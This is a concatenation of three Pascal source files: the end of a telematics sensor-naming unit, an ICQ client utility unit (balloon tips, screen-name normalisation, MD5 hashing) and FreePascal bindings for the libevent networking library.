smInteger, //stCanFault
smFloat, //stHDOP
smFloat, //stVDOP
smFloat, //stPDOP
smFloat, //stTDOP
smFloat, //stGDOP
smInteger, //stFlowsensSt,
smFloat, //stFlowsensTotalCons,
smFloat, //stFlowsensTripCons,
smFloat, //stFlowsensFlow,
smFloat, //stFlowsensFeedCons,
smFloat, //stFlowsensFeedFlow,
smFloat, //stFlowsensFeedTemp,
smFloat, //stFlowsensReturnCons,
smFloat, //stFlowsensReturnFlow,
smFloat, //stFlowsensReturnTemp
smFloat, //stBDTimeInc
smFloat, //stBDAccelX
smFloat, //stBDAccelY
smFloat, //stBDAccelZ
smFloat, //stBDAccelModule
smFloat, //stBDAccelMax
smFloat, //stBDBrakeMax
smFloat, //stBDCrnMax
smFloat, //stBDAngMax
smFloat, //stBDVertMax
smInteger, //stBDSpeedMax
smFloat, //stBDDuration
smInteger, //stBDSpeedState
smInteger, //stBDAllState
smInteger, //stFreq
smInteger, //stFuelFreq
smInteger, //stEngineHoursWork
smInteger, //stEngineHoursIdle
smFloat, //stHPTemp
smFloat, //stHPHumidity
smInteger, //stGeoState
smInteger, //stAccelState
smFloat, //stTiltLocal
smFloat, //stTiltPitch
smFloat, //stTiltRoll
smInteger, //stTiltX
smInteger, //stTiltY
smInteger, //stTiltZ
smInteger, //stPassCount
smInteger, //stTacho
smInteger, //stTachoMode
smInteger, //stTachoState
smInteger, //stTachoSpeed
smFloat, //stTachoOdom
smInteger, //stTachoTime
smInteger, //stTachoDmStatus
smInteger, //stTachoDmIndex
smInteger, //stFridgeState
smFloat, //stFridgeTemp
smFloat, //stFridgeSetTemp
smFloat, //stFridgeTempOut
smFloat, //stFridgeTempIn
smInteger, //stFridgeV
smInteger, //stFridgeA
smFloat, //stFridgeMotoInt
smFloat, //stFridgeMotoExt
smInteger, //stFridgeCompMode
smInteger, //stFridgeEngineRpm
smInteger, //stFridgeEngineMode
smInteger, //stFridgeFault
smInteger, //stFridgeFaultCount
smInteger, //stShinNumber
smFloat, //stShinPressure
smInteger, //stShinTemp
smInteger, //stAutoinfStatus
smInteger, //stLastGeoID
smInteger, //stLastStopID
smInteger, //stRouteID
smInteger //stCamStatus
);
type
TJsonEventField = (
jefType,
jefImei,
jefBegin,
jefDuration,
jefLatitude,
jefLongitude,
jefRadius,
jefDispersion,
jefUpdate
);
const
CJsonEventField: array[TJsonEventField] of string = (
'EventTypeID',
'IMEI',
'DT',
'Duration',
'Latitude',
'Longitude',
'Radius',
'Dispersion',
'Update'
);
function JF2Str(const AJF: TJsonField): string;
function Str2JF(const AStr: string): TJsonField;
function MakeSensorName(const AType: TSensorType): string; overload;
function MakeSensorName(const AType: TSensorType; const AIdx: Integer): string; overload;
function GetSensorIdx(const AName: string): Integer;
function GetSensorName(const AName: string): string;
function GetSensorMeasure(const AName: string): TSensorMeasure;
//------------------------------------------------------------------------------
implementation
function JF2Str(const AJF: TJsonField): string;
begin
Result := CJsonField[AJF];
end;
function Str2JF(const AStr: string): TJsonField;
var
jf: TJsonField;
begin
Result := jfUnknown;
for jf := Succ(Low(TJsonField)) to High(TJsonField) do
if AStr = CJsonField[jf] then
Exit(jf);
end;
function MakeSensorName(const AType: TSensorType): string;
begin
Result :=
CSensorNamePrefix[AType]
+ ':' + CSensorMeasureStr[CSensorMeasureByType[AType]];
end;
function MakeSensorName(const AType: TSensorType; const AIdx: Integer): string;
begin
Result :=
CSensorNamePrefix[AType]
+ '_' + IntToStr(AIdx)
+ ':' + CSensorMeasureStr[CSensorMeasureByType[AType]];
end;
function GetSensorIdx(const AName: string): Integer;
var
ColonPos: Integer;
UnderPos: Integer;
begin
Result := -1;
UnderPos := Pos('_', AName);
ColonPos := Pos(':', AName);
if (UnderPos > 1) and (ColonPos > 1) then
Result := StrToIntDef(Copy(AName, UnderPos + 1, ColonPos - UnderPos - 1), -1);
end;
function GetSensorName(const AName: string): string;
var
ColonPos: Integer;
UnderPos: Integer;
begin
Result := AName;
UnderPos := Pos('_', AName);
ColonPos := Pos(':', AName);
if UnderPos > 1 then
Result := Copy(AName, 1, UnderPos)
else if ColonPos > 1 then
Result := Copy(AName, 1, ColonPos);
end;
function GetSensorMeasure(const AName: string): TSensorMeasure;
var
ColonPos: Integer;
SensorMeasureStr: string;
begin
Result := smUnknown;
ColonPos := Pos(':', AName);
if ColonPos > 1 then
begin
SensorMeasureStr := Copy(AName, ColonPos + 1, Length(AName) - ColonPos);
for Result := Low(TSensorMeasure) to High(TSensorMeasure) do
if CSensorMeasureStr[Result] = SensorMeasureStr then
Exit;
Result := smUnknown;
end;
end;
end.
|
unit exUtils;
(*****************************************************************************
(c) 2006, 5190@mail.ru
*****************************************************************************)
interface
uses StdCtrls, Windows, Messages, SysUtils, ShellApi, OSCARMd5, Classes;
type
PEditBallonTip = ^TEditBallonTip;
TEditBallonTip = packed record
cbStruct: DWORD;
pszTitle: PWideChar;
pszText: PWideChar;
ttiIcon: Integer;
end;
const
ECM_FIRST = $1500;
EM_SHOWBALLOONTIP = (ECM_FIRST + 3);
TTI_NONE = 0;
TTI_INFO = 1;
TTI_WARNING = 2;
TTI_ERROR = 3;
procedure exShowWinMsg(EditCtl: HWnd; Text: string; Caption: string; Icon: Integer; Balloon: Boolean);
procedure exDisableSysMenuItem(Handle: THandle; const Item: Integer);
function exIsWinXPMin: Boolean;
procedure exUpdateSysMenu(Handle: THandle; Cmd1: Integer; const Menu: string);
function exIsValidCharacters(Value: string): Boolean;
function exScreenNameIsIcqNumber(SN: string): Boolean;
function exNormalizeScreenName(SN: string) :string;
function exNormalizeIcqNumber(SN: string) :string;
function exUpdateHandCursor: HCURSOR;
function exIsValidMD5(MD5Hex: string): Boolean;
function exNowTime: string;
function GetNewestMd5Hash(Value: string): string;
implementation
procedure exDisableSysMenuItem(Handle: THandle; const Item: Integer);
var
SysMenu: HMenu;
begin
SysMenu := GetSystemMenu(Handle, False);
EnableMenuItem(SysMenu, Item, MF_DISABLED or MF_GRAYED);
end;
{*****************************************************************************}
function StrToWChar(Source: string; var Dest: PWideChar): Integer;
begin
Result := (Length(Source) * SizeOf(WideChar)) + 1;
GetMem(Dest, Result);
Dest := StringToWideChar(Source, Dest, Result);
end;
{*****************************************************************************}
procedure exShowWinMsg(EditCtl: HWnd; Text: string; Caption: string; Icon: Integer; Balloon: Boolean);
var
ebt: TEditBallonTip;
btn: Integer;
l1, l2: Integer;
begin
if Balloon then
begin
FillChar(ebt, sizeof(ebt), 0);
l1 := StrToWChar(Caption, ebt.pszTitle);
l2 := StrToWChar(Text, ebt.pszText);
ebt.ttiIcon := Icon;
ebt.cbStruct := sizeof(ebt);
SendMessage(EditCtl, EM_SHOWBALLOONTIP, 0, LongInt(@ebt));
FreeMem(ebt.pszTitle, l1);
FreeMem(ebt.pszText, l2);
end else
begin
case Icon of
TTI_INFO: btn := MB_ICONINFORMATION;
TTI_WARNING: btn := MB_ICONWARNING;
TTI_ERROR: btn := MB_ICONERROR;
else
btn := 0;
end;
MessageBox(EditCtl, PChar(Text), PChar(Caption), btn);
end;
end;
{*****************************************************************************}
function exIsWinXPMin: Boolean;
var
oi: TOSVersionInfo;
begin
FillChar(oi, SizeOf(oi), 0);
oi.dwOSVersionInfoSize := SizeOf(oi);
GetVersionEx(oi);
Result := (oi.dwPlatformId = VER_PLATFORM_WIN32_NT) and (oi.dwMajorVersion >= 5) and (oi.dwMinorVersion >= 1);
end;
{*****************************************************************************}
procedure exUpdateSysMenu(Handle: THandle; Cmd1: Integer; const Menu: string);
begin
AppendMenu(GetSystemMenu(Handle, False), MF_SEPARATOR, 0, #0);
AppendMenu(GetSystemMenu(Handle, False), MF_BYCOMMAND and MF_GRAYED, Cmd1, PChar(Menu));
end;
{*****************************************************************************}
function exIsValidCharacters(Value: string): Boolean;
const
ValidAsciiChars = ['a'..'z', 'A'..'Z', '0'..'9',
'~', '`', '!', '@', '#', '%',
'^', '&', '*', '(', ')', '-',
'=', '_', '+', '[', ']', '{',
'}', ';', '''', ',', '.', '/',
':', '"', '<', '>', '?'];
var
i: Integer;
begin
Result := True;
for i := 1 to Length(Value) do
if not (Value[i] in ValidAsciiChars) then
begin
Result := False;
Exit;
end;
end;
{*****************************************************************************}
function exScreenNameIsIcqNumber(SN: string): Boolean;
var
I: Real;
E: Integer;
begin
Val(SN, I, E);
Result := E = 0;
E := Trunc(I);
end;
{*****************************************************************************}
function exNormalizeScreenName(SN: string) :string;
function DeleteSpaces(const Value: string): string;
var
Counter, i: integer;
begin
Counter := 0;
SetLength(Result, Length(Value));
for i := 1 to Length(Value) do
if Value[i] <> ' ' then
begin
Inc(Counter);
Result[Counter] := Value[i];
end;
SetLength(Result, Counter);
end;
begin
Result := AnsiLowerCase(DeleteSpaces(SN));
end;
{*****************************************************************************}
function exNormalizeIcqNumber(SN: string) :string;
function DeleteDashes(const Value: string): string;
var
Counter, i: integer;
begin
Counter := 0;
SetLength(Result, Length(Value));
for i := 1 to Length(Value) do
if Value[i] <> '-' then
begin
Inc(Counter);
Result[Counter] := Value[i];
end;
SetLength(Result, Counter);
end;
begin
Result := DeleteDashes(SN);
end;
{*****************************************************************************}
function exUpdateHandCursor: HCURSOR;
begin
Result := LoadCursor(0, IDC_HAND);
end;
{*****************************************************************************}
function exIsValidMD5(MD5Hex: string): Boolean;
var
i: Byte;
begin
Result := False;
if Length(MD5Hex) <> 32 then Exit;
for i := 1 to Length(MD5Hex) do
if not (MD5Hex[i] in ['0'..'f']) then Exit;
Result := True;
end;
{*****************************************************************************}
function exNowTime: string;
begin
Result := FormatDateTime('hh:mm:ss', Now);
end;
{*****************************************************************************}
function GetNewestMd5Hash(Value: string): string;
var
Md5C: MD5Context;
Md5D: MD5Digest;
begin
MD5Init(Md5C);
MD5Append(Md5C, PChar(Value), Length(Value));
MD5Final(Md5C, Md5D);
SetLength(Result, 32);
BinToHex(PChar(@Md5D), PChar(Result) , 16);
end;
end.
|
unit fre_libevent_core;
{
(§LIC)
(c) Autor,Copyright
Dipl.Ing.- Helmut Hartl, Dipl.Ing.- Franz Schober, Dipl.Ing.- Christian Koch
FirmOS Business Solutions GmbH
www.openfirmos.org
New Style BSD Licence (OSI)
Copyright (c) 2001-2013, FirmOS Business Solutions GmbH
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the <FirmOS Business Solutions GmbH> nor the names
of its contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
(§LIC_END)
}
{$mode objfpc}{$H+}
{-$DEFINE FOS_LINK_STATIC}
{-$DEFINE FOS_DEBUG}
{-$UNDEF FOS_LINK_STATIC}
interface
uses
Classes, SysUtils,FOS_FCOM_TYPES,
cTypes,BaseUnix,unixtype,fre_fcom_ssl
;
{$IFDEF WINDOWS}
{$ENDIF}
{$IFDEF UNIX}
{$IFDEF DARWIN}
{$IFDEF CPU64}
{$IFDEF FOS_DEBUG}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos64_darwin_deb.a}
{$linklib libevent_pthreads_fos64_darwin_deb.a}
{$linklib libevent_openssl_fos64_darwin_deb.a}
{$linklib libevent_extra_fos64_darwin_deb.a}
{$ELSE}
{$linklib libevent_core_fos64_darwin_deb-fosdev}
{$linklib libevent_pthreads_fos64_darwin_deb-fosdev}
{$linklib libevent_openssl_fos64_darwin_deb-fosdev}
{$linklib libevent_extra_fos64_darwin_deb-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ELSE}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos64_darwin_rel.a}
{$linklib libevent_pthreads_fos64_darwin_rel.a}
{$linklib libevent_openssl_fos64_darwin_rel.a}
{$linklib libevent_extra_fos64_darwin_rel.a}
{$ELSE}
{$linklib libevent_core_fos64_darwin_rel-fosdev}
{$linklib libevent_pthreads_fos64_darwin_rel-fosdev}
{$linklib libevent_openssl_fos64_darwin_rel-fosdev}
{$linklib libevent_extra_fos64_darwin_rel-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ENDIF}
{$ELSE CPU32}
{$IFDEF FOS_DEBUG}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos32_darwin_deb.a}
{$linklib libevent_pthreads_fos32_darwin_deb.a}
{$linklib libevent_openssl_fos32_darwin_deb.a}
{$linklib libevent_extra_fos32_darwin_deb.a}
{$ELSE}
{$linklib libevent_core_fos32_darwin_deb-fosdev}
{$linklib libevent_pthreads_fos32_darwin_deb-fosdev}
{$linklib libevent_openssl_fos32_darwin_deb-fosdev}
{$linklib libevent_extra_fos32_darwin_deb-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ELSE}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos32_darwin_rel.a}
{$linklib libevent_pthreads_fos32_darwin_rel.a}
{$linklib libevent_openssl_fos32_darwin_rel.a}
{$linklib libevent_extra_fos32_darwin_rel.a}
{$ELSE}
{$linklib libevent_core_fos32_darwin_rel-fosdev}
{$linklib libevent_pthreads_fos32_darwin_rel-fosdev}
{$linklib libevent_openssl_fos32_darwin_rel-fosdev}
{$linklib libevent_extra_fos32_darwin_rel-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ENDIF}
{$ENDIF CPU32/64}
{$ELSE}
{$IFDEF FREEBSD}
{$IFDEF CPU64}
{$IFDEF FOS_DEBUG}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos64_freebsd_deb.a}
{$linklib libevent_pthreads_fos64_freebsd_deb.a}
{$linklib libevent_openssl_fos64_freebsd_deb.a}
{$linklib libevent_extra_fos64_freebsd_deb.a}
{$ELSE}
{$linklib libevent_core_fos64_freebsd_deb-fosdev}
{$linklib libevent_pthreads_fos64_freebsd_deb-fosdev}
{$linklib libevent_openssl_fos64_freebsd_deb-fosdev}
{$linklib libevent_extra_fos64_freebsd_deb-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ELSE NODEBUG}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos64_freebsd_rel.a}
{$linklib libevent_pthreads_fos64_freebsd_rel.a}
{$linklib libevent_openssl_fos64_freebsd_rel.a}
{$linklib libevent_extra_fos64_freebsd_rel.a}
{$ELSE}
{$linklib libevent_core_fos64_freebsd_rel-fosdev}
{$linklib libevent_pthreads_fos64_freebsd_rel-fosdev}
{$linklib libevent_openssl_fos64_freebsd_rel-fosdev}
{$linklib libevent_extra_fos64_freebsd_rel-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ENDIF DEBUG/NODEBUG}
{$ELSE CPU32}
{$IFDEF FOS_DEBUG}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos32_freebsd_deb.a}
{$linklib libevent_pthreads_fos32_freebsd_deb.a}
{$linklib libevent_openssl_fos32_freebsd_deb.a}
{$linklib libevent_extra_fos32_freebsd_deb.a}
{$ELSE}
{$linklib libevent_core_fos32_freebsd_deb-fosdev}
{$linklib libevent_pthreads_fos32_freebsd_deb-fosdev}
{$linklib libevent_openssl_fos32_freebsd_deb-fosdev}
{$linklib libevent_extra_fos32_freebsd_deb-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ELSE}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos32_freebsd_rel.a}
{$linklib libevent_pthreads_fos32_freebsd_rel.a}
{$linklib libevent_openssl_fos32_freebsd_rel.a}
{$linklib libevent_extra_fos32_freebsd_rel.a}
{$ELSE}
{$linklib libevent_core_fos32_freebsd_rel-fosdev}
{$linklib libevent_pthreads_fos32_freebsd_rel-fosdev}
{$linklib libevent_openssl_fos32_freebsd_rel-fosdev}
{$linklib libevent_extra_fos32_freebsd_rel-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ENDIF}
{$ENDIF CPU64/32}
{$ELSE}
{$IFDEF SOLARIS}
{$IFDEF CPU64}
{$IFDEF FOS_DEBUG}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos64_solaris_deb.a}
{$linklib libevent_pthreads_fos64_solaris_deb.a}
{$linklib libevent_openssl_fos64_solaris_deb.a}
{$linklib libevent_extra_fos64_solaris_deb.a}
{$ELSE}
{$linklib libevent_core_fos64_solaris_deb-fosdev}
{$linklib libevent_pthreads_fos64_solaris_deb-fosdev}
{$linklib libevent_openssl_fos64_solaris_deb-fosdev}
{$linklib libevent_extra_fos64_solaris_deb-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ELSE}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos64_solaris_rel.a}
{$linklib libevent_pthreads_fos64_solaris_rel.a}
{$linklib libevent_openssl_fos64_solaris_rel.a}
{$linklib libevent_extra_fos64_solaris_rel.a}
{$ELSE}
{$linklib libevent_core_fos64_solaris_rel-fosdev}
{$linklib libevent_pthreads_fos64_solaris_rel-fosdev}
{$linklib libevent_openssl_fos64_solaris_rel-fosdev} {!! WARNING USES WRONG OPENSSL LIBRARIES !!!}
{$linklib libevent_extra_fos64_solaris_rel-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ENDIF}
{$ELSE}
{$IFDEF FOS_DEBUG}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos32_solaris_deb.a}
{$linklib libevent_pthreads_fos32_solaris_deb.a}
{$linklib libevent_openssl_fos32_solaris_deb.a}
{$linklib libevent_extra_fos32_solaris_deb.a}
{$ELSE}
{$linklib libevent_core_fos32_solaris_deb-fosdev}
{$linklib libevent_pthreads_fos32_solaris_deb-fosdev}
{$linklib libevent_openssl_fos32_solaris_deb-fosdev}
{$linklib libevent_extra_fos32_solaris_deb-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ELSE}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos32_solaris_rel.a}
{$linklib libevent_pthreads_fos32_solaris_rel.a}
{$linklib libevent_openssl_fos32_solaris_rel.a}
{$linklib libevent_extra_fos32_solaris_rel.a}
{$ELSE}
{$linklib libevent_core_fos32_solaris_rel-fosdev}
{$linklib libevent_pthreads_fos32_solaris_rel-fosdev}
{$linklib libevent_openssl_fos32_solaris_rel-fosdev}
{$linklib libevent_extra_fos32_solaris_rel-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ENDIF}
{$ENDIF}
{$ELSE}
{$IFDEF LINUX}
{$IFDEF CPU64}
{$IFDEF FOS_DEBUG}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos64_linux_deb.a}
{$linklib libevent_pthreads_fos64_linux_deb.a}
{$linklib libevent_openssl_fos64_linux_deb.a}
{$linklib libevent_extra_fos64_linux_deb.a}
{$ELSE}
{$linklib libevent_core_fos64_linux_deb-fosdev}
{$linklib libevent_pthreads_fos64_linux_deb-fosdev}
{$linklib libevent_openssl_fos64_linux_deb-fosdev}
{$linklib libevent_extra_fos64_linux_deb-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ELSE}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos64_linux_rel.a}
{$linklib libevent_pthreads_fos64_linux_rel.a}
{$linklib libevent_openssl_fos64_linux_rel.a}
{$linklib libevent_extra_fos64_linux_rel.a}
{$ELSE}
{$linklib libevent_core_fos64_linux_rel-fosdev}
{$linklib libevent_pthreads_fos64_linux_rel-fosdev}
{$linklib libevent_openssl_fos64_linux_rel-fosdev}
{$linklib libevent_extra_fos64_linux_rel-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ENDIF}
{$ELSE CPU32}
{$IFDEF FOS_DEBUG}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos32_linux_deb.a}
{$linklib libevent_pthreads_fos32_linux_deb.a}
{$linklib libevent_openssl_fos32_linux_deb.a}
{$linklib libevent_extra_fos32_linux_deb.a}
{$ELSE}
{$linklib libevent_core_fos32_linux_deb-fosdev}
{$linklib libevent_pthreads_fos32_linux_deb-fosdev}
{$linklib libevent_openssl_fos32_linux_deb-fosdev}
{$linklib libevent_extra_fos32_linux_deb-fosdev}
{$ENDIF FOS_LINK_STATIC}
{$ELSE}
{$IFDEF FOS_LINK_STATIC}
{$linklib libevent_core_fos32_linux_rel.a}
{$linklib libevent_pthreads_fos32_linux_rel.a}
{$linklib libevent_openssl_fos32_linux_rel.a}
{$linklib libevent_extra_fos32_linux_rel.a}
{$ELSE}
{$IFDEF CPUARM}
{$linklib libevent_core_fosarmhf32_linux_rel-fosdev}
{$linklib libevent_pthreads_fosarmhf32_linux_rel-fosdev}
{$linklib libevent_openssl_fosarmhf32_linux_rel-fosdev}
{$linklib libevent_extra_fosarmhf32_linux_rel-fosdev}
{$ELSE}
{$linklib libevent_core_fos32_linux_rel-fosdev}
{$linklib libevent_pthreads_fos32_linux_rel-fosdev}
{$linklib libevent_openssl_fos32_linux_rel-fosdev}
{$linklib libevent_extra_fos32_linux_rel-fosdev}
{$ENDIF}
{$ENDIF FOS_LINK_STATIC}
{$ENDIF}
{$ENDIF CPU63/32}
{$linklib librt.a}
{$ELSE}
{$ENDIF}
{$ENDIF}
{$ENDIF}
{$ENDIF}
{$ENDIF}
{$PACKRECORDS C}
const
EV_FEATURE_ET = $01;
EV_FEATURE_O1 = $02;
EV_FEATURE_FDS = $04;
EVENT_BASE_FLAG_NOLOCK = $01;
EVENT_BASE_FLAG_IGNORE_ENV = $02;
EVENT_BASE_FLAG_STARTUP_IOCP = $04;
EVENT_BASE_FLAG_NO_CACHE_TIME = $08;
EVENT_BASE_FLAG_EPOLL_USE_CHANGELIST = $10;
EVLOOP_ONCE = $01;
EVLOOP_NONBLOCK = $02;
EVLOOP_NO_EXIT_ON_EMPTY = $04;
EV_TIMEOUT = $01;
EV_READ = $02;
EV_WRITE = $04;
EV_SIGNAL = $08;
EV_PERSIST = $10;
EV_ET = $20;
BEV_EVENT_READING = $01; //**< error encountered while reading */
BEV_EVENT_WRITING = $02; //**< error encountered while writing */
BEV_EVENT_EOF = $10; //**< eof file reached */
BEV_EVENT_ERROR = $20; //**< unrecoverable error encountered */
BEV_EVENT_TIMEOUT = $40; //**< user-specified timeout reached */
BEV_EVENT_CONNECTED = $80;
BEV_NORMAL = 0;
BEV_FLUSH = 1;
BEV_FINISHED = 2;
BEV_OPT_CLOSE_ON_FREE =1 SHL 0;
BEV_OPT_THREADSAFE =1 SHL 1;
BEV_OPT_DEFER_CALLBACKS =1 SHL 2;
BEV_OPT_UNLOCK_CALLBACKS =1 SHL 3;
BUFFEREVENT_SSL_OPEN = 0;
BUFFEREVENT_SSL_CONNECTING = 1;
BUFFEREVENT_SSL_ACCEPTING = 2;
// method strings = select,poll,epoll,kqueue,devpoll,evport,win32
type
evdns_result = (DNS_IPv4_A=1,DNS_PTR=2,DNS_IPv6_AAAA=3);
bufferevent_filter_result = (BEV_OK = 0, BEV_NEED_MORE = 1, BEV_ERROR = 2 );
evbuffer_eol_style = (EVBUFFER_EOL_ANY, EVBUFFER_EOL_CRLF, EVBUFFER_EOL_CRLF_STRICT, EVBUFFER_EOL_LF );
event_base = record end;
event_config = record end;
event = record end;
bufferevent = record end;
evbuffer = record end;
evdns_base = record end;
ev_token_bucket_cfg = record end;
bufferevent_rate_limit_group = record end;
evdns_getaddrinfo_request = record end;
evbuffer_cb_entry = record end;
ssl_st = SSL;
ev_off_t = off_t;
ev_ssize_t = ssize_t;
evutil_socket_t = cInt;
Pssl_st = ^ssl_st;
PEvent_base = ^event_base;
Pevent_config = ^event_config;
PEvent = ^event;
PBufferevent = ^bufferevent;
PEvbuffer = ^evbuffer;
Pevdns_base = ^evdns_base;
Pevdns_getaddrinfo_request = ^evdns_getaddrinfo_request;
Pevbuffer_cb_entry = ^evbuffer_cb_entry;
Pev_token_bucket_cfg = ^ev_token_bucket_cfg;
Pbufferevent_rate_limit_group = ^bufferevent_rate_limit_group;
tbuffereventpair = array [0..1] of PBufferevent;
tevutil_socket_t_pair = array [0..1] of evutil_socket_t;
Pevutil_addrinfo = ^evutil_addrinfo;
evbuffer_cb_info = record
orig_size : size_t;
n_added : size_t;
n_deleted : size_t;
end;
Pevbuffer_cb_info =^evbuffer_cb_info;
event_callback_fn = procedure (fd : evutil_socket_t ; short: cshort ; data:pointer) ; cdecl ;
event_base_foreach_event_cb = function (const base : PEvent_base ; const event : PEvent ; const data : Pointer):cInt; cdecl ;
bufferevent_data_cb = procedure (const bev : PBufferevent ; const ctx : Pointer); cdecl;
bufferevent_event_cb = procedure (const bev : PBufferevent ; what: cshort ; const ctx : Pointer); cdecl;
bufferevent_filter_cb = function (const srv,dst : PEvbuffer ; dst_limit : ev_ssize_t ; mode : cint ; ctx : Pointer):bufferevent_filter_result; cdecl;
free_context = procedure (const ctx : Pointer); cdecl;
evdns_callback_type = procedure (dns_result : cint ; typ : cchar ; count : cint ; ttl : cint ; addresses : pointer ; arg : pointer); cdecl;
evdns_getaddrinfo_cb = procedure (dns_result : cint ; res : Pevutil_addrinfo ; arg : Pointer); cdecl ;
evbuffer_cb_func = procedure (buffer : PEvbuffer ; info : Pevbuffer_cb_info ; arg : Pointer); cdecl;
evutil_addrinfo = record
ai_flags : cInt; {* AI_PASSIVE, AI_CANONNAME, AI_NUMERICHOST *}
ai_family: cInt; {* PF_xxx *}
ai_socktype: cInt; {* SOCK_xxx *}
ai_protocol: cInt; {* 0 or IPPROTO_xxx for IPv4 and IPv6 *}
ai_addrlen: size_t; {* length of ai_addr *}
ai_canonname: PChar; {* canonical name for hostname *}
ai_addr: PFCOM_SOCKADDRSTORAGE; {* binary address *}
ai_next: Pevutil_AddrInfo; {* next structure in linked list *}
end;
evbuffer_ptr = record
pos :ev_ssize_t;
_internal: record
chain : Pointer;
pos_in_chain : size_t;
end;
end;
Pevbuffer_ptr = ^evbuffer_ptr;
evbuffer_iovec = record
iov_base : Pointer;
iov_len : size_t;
end;
Pevbuffer_iovec = ^evbuffer_iovec;
function evthread_use_pthreads : cInt ; cdecl ; external; // only U*xes / posix
function evthread_make_base_notifiable (const base : PEvent_base) : cInt ; cdecl ; external;
function event_get_version : PChar ; cdecl ; external;
function event_base_new : Pevent_base ; cdecl ; external;
function event_config_new : Pevent_config ; cdecl ; external;
function event_config_require_features (cfg : Pevent_config ; feature : cInt) : cInt ; cdecl ; external;
function event_config_set_flag (cfg : Pevent_config ; evb_flag : cInt) : cInt ; cdecl ; external;
function event_base_new_with_config (cfg : Pevent_config) : Pevent_base ; cdecl ; external;
function event_config_avoid_method (cfg : Pevent_config ; const method : PChar) : cInt ; cdecl ; external;
procedure event_config_free (cfg : Pevent_config) ; cdecl ; external;
function event_get_supported_methods : PPChar ; cdecl ; external;
function event_base_get_method (const base:PEvent_base) : PChar ; cdecl ; external;
function event_base_get_features (const base:PEvent_base) : cInt ; cdecl ; external;
procedure event_base_free (const base:PEvent_base) ; cdecl ; external;
function event_base_priority_init (const base:PEvent_base ; n_prios : cInt) : cInt ; cdecl ; external;
function event_base_get_npriorities (const base:PEvent_base ) : cInt ; cdecl ; external;
function event_base_loop (const base:PEvent_base ; flags : cInt) : cInt ; cdecl ; external;
function event_base_loopexit (const base:PEvent_base ;
const tv : PFCOM_TimeVal) : cInt ; cdecl ; external;
function event_base_loopbreak (const base:PEvent_base) : cInt ; cdecl ; external;
procedure event_base_gettimeofday_cached (const base:PEvent_base ;
var tv : TFCOM_TimeVal) ; cdecl ; external;
function event_base_foreach_event (const base:PEvent_base ;
fn : event_base_foreach_event_cb ;
arg : Pointer):cInt ; cdecl ; external; //2.1 alpha
function event_new (const base:PEvent_base ; fd : evutil_socket_t ;
what: cshort ; cb : event_callback_fn ;
arg : Pointer) : PEvent ; cdecl ; external;
function event_get_callback_arg (const ev:PEvent) : Pointer ; cdecl ; external;
procedure event_free (event :Pevent) ; cdecl ; external;
function event_add (event :PEvent ; tv : PFCOM_TimeVal) : cInt ; cdecl ; external;
function event_del (event :PEvent ) : cInt ; cdecl ; external;
function event_priority_set (event :PEvent; priority : cInt) : cInt ; cdecl ; external;
procedure event_active (event :PEvent; what : cInt ; ncalls:cshort) ; cdecl ; external;
function bufferevent_socket_new (const base : PEvent_base ; fd : evutil_socket_t ; options : cInt):PBufferevent ; cdecl ; external;
function bufferevent_socket_connect (const bev : PBufferevent ; addr : PFCOM_SOCKADDRSTORAGE ; const socklen : cint) :cint ; cdecl ; external;
function bufferevent_socket_connect_hostname (const bev : PBufferevent ; evdns_base : Pevdns_base ; family : cInt ; hostname : PChar ; port : cInt):cint ; cdecl ; external;
function bufferevent_socket_get_dns_error (const bev : PBufferevent):cInt ; cdecl ; external;
